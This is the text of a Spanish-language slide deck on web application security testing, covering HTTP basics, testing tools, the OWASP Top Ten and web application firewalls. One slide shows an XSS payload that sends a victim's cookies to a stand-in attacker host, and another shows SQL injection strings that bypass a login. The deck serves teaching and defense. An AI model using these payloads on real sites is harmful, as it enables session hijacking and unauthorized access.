Testing de Seguridad de Aplicaciones Web
Anuncio
Testing de Seguridad de Aplicaciones Web Julio C. Ardita, CISM. [email protected] 16 de Noviembre de 2013 Coatzacoalcos - MEXICO Testing de Seguridad de Aplicaciones Web Temario - Protocolo HTTP - Herramientas de Testing Web. - Vulnerabilidades más comunes - Web Application Firewall 2 Testing de Seguridad de Aplicaciones Web Protocolo HTTP 3 Testing de Seguridad de Aplicaciones Web Arquitectura Web Física 4 Testing de Seguridad de Aplicaciones Web Arquitectura Web Lógica 5 Testing de Seguridad de Aplicaciones Web Características del Protocolo HTTP HTTP/1.1 definido en RFC 2616 • Métodos: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE, CONNECT • Encabezado “Host”: indica el nombre del servidor al cual se le realiza el pedido, permite que se utilicen hosts virtuales. • Sin Estado. • Conexiones TCP persistentes por defecto. • Encabezado “Connection”: permite forzar el cierre de la conexión una vez obtenida la respuesta. • Dos tipos de mensajes: Request y Response. 6 Testing de Seguridad de Aplicaciones Web Formato del Mensaje HTTP “REQUEST” MÉTODO <ESPACIO> URI <ESPACIO> VERSIÓN <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] • Métodos: , GET, HEAD o POST en HTTP/1.0. GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE o CONNECT en HTTP/1.1. • Versión: HTTP/1.0 o HTTP/1.1 • Los Encabezados pueden ser de tres tipos: general, de petición y/o de entidad. • URI puede ser: *, URL absoluta, o PATH absoluto. 7 Testing de Seguridad de Aplicaciones Web Métodos HTTP • OPTIONS: Métodos disponibles sobre el recurso especificado. • GET: Solicitud del recurso especificado. • HEAD: Encabezados del recurso especificado. • TRACE: Permite realizar debugging. El servidor responde con el mensaje de solicitud como cuerpo del mensaje de respuesta. • POST: Permite enviar información al servidor. • PUT: Permite “subir” los datos al servidor para que sean accedidos a través de la URI especificada. • DELETE: Eliminar el recurso indicado. • CONNECT: Se utiliza con un servidor Proxy que puede ser utilizado como túnel. 8 Testing de Seguridad de Aplicaciones Web Ejemplo de un Mensaje HTTP “REQUEST” GET http://www.mibanco.com.ar/ HTTP/1.1 Host: www.mibanco.com.ar User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) Paros/3.2.2 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,tex t/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 9 Testing de Seguridad de Aplicaciones Web Formato del Mensaje HTTP “RESPONSE” VERSIÓN <ESPACIO> CÓDIGO_DE_ESTADO DESCRIP <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] • Versión: HTTP/1.0 o HTTP/1.1 • El ¨código de estado¨ es un número de tres dígitos que indica el estado de la respuesta. • ¨Descrip¨ es una breve frase que explica el código de estado. • Los Encabezados pueden ser de tres tipos: general, de respuesta y/o de entidad. 10 Testing de Seguridad de Aplicaciones Web Ejemplo de un Mensaje HTTP “RESPONSE” HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 X-Powered-By: ASP.NET Content-Location: http://www.mibanco.com.ar/index.html Date: Thu, 30 Jun 2005 09:33:33 GMT Content-Type: text/html Accept-Ranges: bytes Last-Modified: Tue, 28 Jun 2005 13:15:58 GMT Content-Length: 577 <html> <head> <title>Mi.Banco - Pagina Principal</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> ... 11 Testing de Seguridad de Aplicaciones Web Códigos de Estado • Rango 1xx: Informativos, se recibió el pedido y se está procesando. • Rango 2xx: Pedido Exitoso, se recibió el pedido, se comprendió y se acceptó. • Rango 3xx: Redirección, se debe realizar otro pedido para completar la solicitud. • Rango 4xx: Error del Cliente, la solicitud está mal formulada o no se puede llevar a cabo. • Rango 5xx: Error del Servidor, el servidor no pudo completar un solicitud aparentemente válida. 12 Testing de Seguridad de Aplicaciones Web Códigos de Estado – Algunos Ejemplos • "200" OK: La solicitud fue exitosa. • "301" Moved Permanently: Se le asignó una nueva URI al recurso. • "302" Found: El recurso está accesible, temporalmente, en otra URI. • "304" Not Modified: No se modificó el recurso desde que el cliente lo accedió. • “400" Bad Request: Petición errónea. • "401" Unauthorized: No está autorizado a acceder el recurso, se debe enviar los encabezados de autenticación. • "403" Forbidden: El servidor comprende la solicitud pero no va a permitir el acceso al recurso. • "404" Not Found: Recurso no encontrado. • "405" Method Not Allowed: No se permite el uso del método sobre el recurso. • "500" Internal Server Error: Error en el servidor al procesar el pedido. • "505" HTTP Version not supported: versión HTTP no soportada. 13 Testing de Seguridad de Aplicaciones Web Manejo de Sesión: Cookies - Mecanismo para el manejo de estado en el protocolo HTTP. - Se define en los RFC 2109, y RFC 2965 añade la versión 2. - Define el encabezado Set-Cookie: •Set-Cookie: NAME=nombre; Comment=comentario; Domain=dominio; Max-Age=delta-segundos; Path=path; Secure; Version=version • Los campos NAME, y Version son los únicos requeridos. • Domain: dominio para el cual la cookie es válida. • Max-Age: tiempo de vida, en segundos, de la cookie. • Path: especifica el subconjunto de URL’s para las que aplica la cookie. • Secure: la cookie debe ser manejada de forma “segura” a definir por el Navegador Web. 14 Testing de Seguridad de Aplicaciones Web Herramientas de Testing Web 15 Testing de Seguridad de Aplicaciones Web Proxy Local: Burp Un proxy local permite interceptar los pedidos del navegador y modificarlos. (http://portswigger.net/burp/) 16 Testing de Seguridad de Aplicaciones Web Scanner de Vulnerabilidades: Nikto Un Scanner de vulnerabilidades analiza el servidor verificando problemas comunes de configuración, versiones desactualizadas o vulnerables, y problemas de seguridad de distintos servidores y aplicaciones Web. (http://www.cirt.net/code/nikto.shtml) 17 Testing de Seguridad de Aplicaciones Web Scanner de Vulnerabilidades: N-Stealth (www.nstalker.com) 18 Testing de Seguridad de Aplicaciones Web Vulnerabilides más comunes 19 Testing de Seguridad de Aplicaciones Web OWASP – TOPTEN Nr Vulnerabilidad A1 Cross Site Scripting (XSS) Secuencia de Comandos en Sitios Cruzados A2 Injection Flaws Fallas de Inyección A3 Malicious File Execution Ejecución de ficheros malintencionados A4 Insecure Direct Object Reference Referencia Directa a Objetos Insegura A5 Cross Site Request Forgery (CSRF) Vulnerabilidad de Falsificación Falsificaci n de Petición Petici n en Sitios Cruzados A6 Information Leakage and Improper Error Handling Revelación de Información y gestión Incorrecta de Errores A7 Broken Authentication and Session Management Pérdida de Autenticación y Gestión de Errores A8 Insecure Cryptographic Storage Almacenamiento criptográfico inseguro A9 Insecure Communications Comunicaciones Inseguras A10 Failure to Restrict URL Access Falla de restricción de acceso a URL http://www.owasp.org/ 20 Testing de Seguridad de Aplicaciones Web Cross-Site Scripting Un ataque de Cross-Site Scripting consiste en la inclusión de un script en una página Web que se ejecuta cuando la página es accedida por un usuario. 21 21 Testing de Seguridad de Aplicaciones Web Cross-Site Scripting: ¿Qué se puede hacer? Robo de Credenciales: <script>document.location='http://www.atacante.com.ar/cgi-bin/cookie.cgi?' +document.cookie</script> El script anterior envía las cookies de quién lo ejecute. Redirección de Cliente: <script>document.location=¨http://www.sitiocompetencia.com.ar</script> El script anterior redirecciona al usuario a el sitio especificado. En resumen... ¡Lo que se pueda hacer con Javascript! 22 22 Testing de Seguridad de Aplicaciones Web Cross-Site Scripting y Phishing Ejemplo: La URL es la del sitio, sin embargo se visualiza otro sitio a través de una vulnerabilidad de XSS 23 23 Testing de Seguridad de Aplicaciones Web Escalación de Privilegios y Manejo de Sesión • Session Prediction: Las aplicaciones vulnerables generan credenciales de autenticación predecibles; permitiendo deducir las credenciales de un usuario autenticado o las que van a ser asignadas al próximo usuario que se autentique. • Ejemplo: La cookie asignada a cada usuario se realiza en forma secuencial. 24 24 Testing de Seguridad de Aplicaciones Web SQL Injection Es una técnica cuyo objetivo es el de ¨inyectar¨ consultas SQL arbitrarias en páginas vulnerables que interactúan con una Base de Datos, logrando de esta forma obtener, modificar y/o eliminar información sensible. Atacando ciertos motores de Bases de Datos es posible, también, lograr la ejecución de comandos del Sistema Operativo. 25 25 Testing de Seguridad de Aplicaciones Web SQL Injection – Conceptos Básicos 26 26 Testing de Seguridad de Aplicaciones Web SQL Injection – Demostración: Eludiendo Logins SELECT * FROM Usuarios WHERE Username = ‘luis’ AND Password = ‘clave’ SELECT * FROM Usuarios WHERE Username = ‘’ OR 1=1--‘ AND Password = ‘aa’ SELECT * FROM Usuarios WHERE Username = ‘admin’--‘ AND Password = ‘aa’ 27 27 Testing de Seguridad de Aplicaciones Web Web Application Firewall 28 Testing de Seguridad de Aplicaciones Web ¿ Qué es WAF ? Una WAF es un Firewall de aplicaciones web que funciona a nivel de la capa 7 del modelo OSI. Nos permite frenar intentos de intrusión a nivel de aplicaciones web. Existen varias soluciones: - URLSCAN de Microsoft - Mod_Secuity sobre Apache. - Soluciones comerciales (CISCO, BlueCoat, F5, etc). 29 Testing de Seguridad de Aplicaciones Web ModSecurity • Módulo para el servidor Web Apache. • Actúa como IDS entre el cliente y el servidor Web; filtra los pedidos en base a expresiones regulares. • Nos permite filtrar por: • El encabezado HTTP • La URL • El payload • Las acciones permitidas son: (www.modseurity.org) • Logear el pedido • Rechazar el pedido (permite especificar el HTTP status de la respuesta) • Redireccioner el pedido • Dejar pasar el pedido 30 Testing de Seguridad de Aplicaciones Web Modos de Operación del WAF • Proxy Reverso: Se redirige el tráfico HTTP(S) para que pase a través del WAF que está actuando como un proxy reverso. Es decir, recibe las peticiones HTTP, las resuelve contra los servidores Web y, luego, las reenvía al cliente. Esto le permite procesar los pedidos y las respuesta en busca de ataques o resultados de los ataques. 31 Testing de Seguridad de Aplicaciones Web Capacidades de Filtrado: ¿Qué puede ver? El WAF puede actuar sobre las siguientes porciones de un pedido HTTP y/o de una respuesta HTTP: • Métodos • Versión del protocolo • Encabezados MÉTODO <ESPACIO> URI <ESPACIO> VERSIÓN <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] • Cuerpo del mensaje • URL • Código de respuesta • IP Origen •… VERSIÓN <ESPACIO> CÓDIGO_DE_ESTADO DESCRIP <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] 32 Testing de Seguridad de Aplicaciones Web Conclusiones El área de testing de seguridad de aplicaciones web es muy amplio y requiere de conocimientos de redes, bases de datos, sistemas operativos y programación. Se detectan vulnerabilidades de seguridad en el 70% de las aplicaciones web que nosotros hemos evaluado. Es una excelente área para investigar y desarrollarse. 33 Testing de Seguridad de Aplicaciones Web Julio C. Ardita, CISM. [email protected] 16 de Noviembre de 2013 Coatzacoalcos - MEXICO
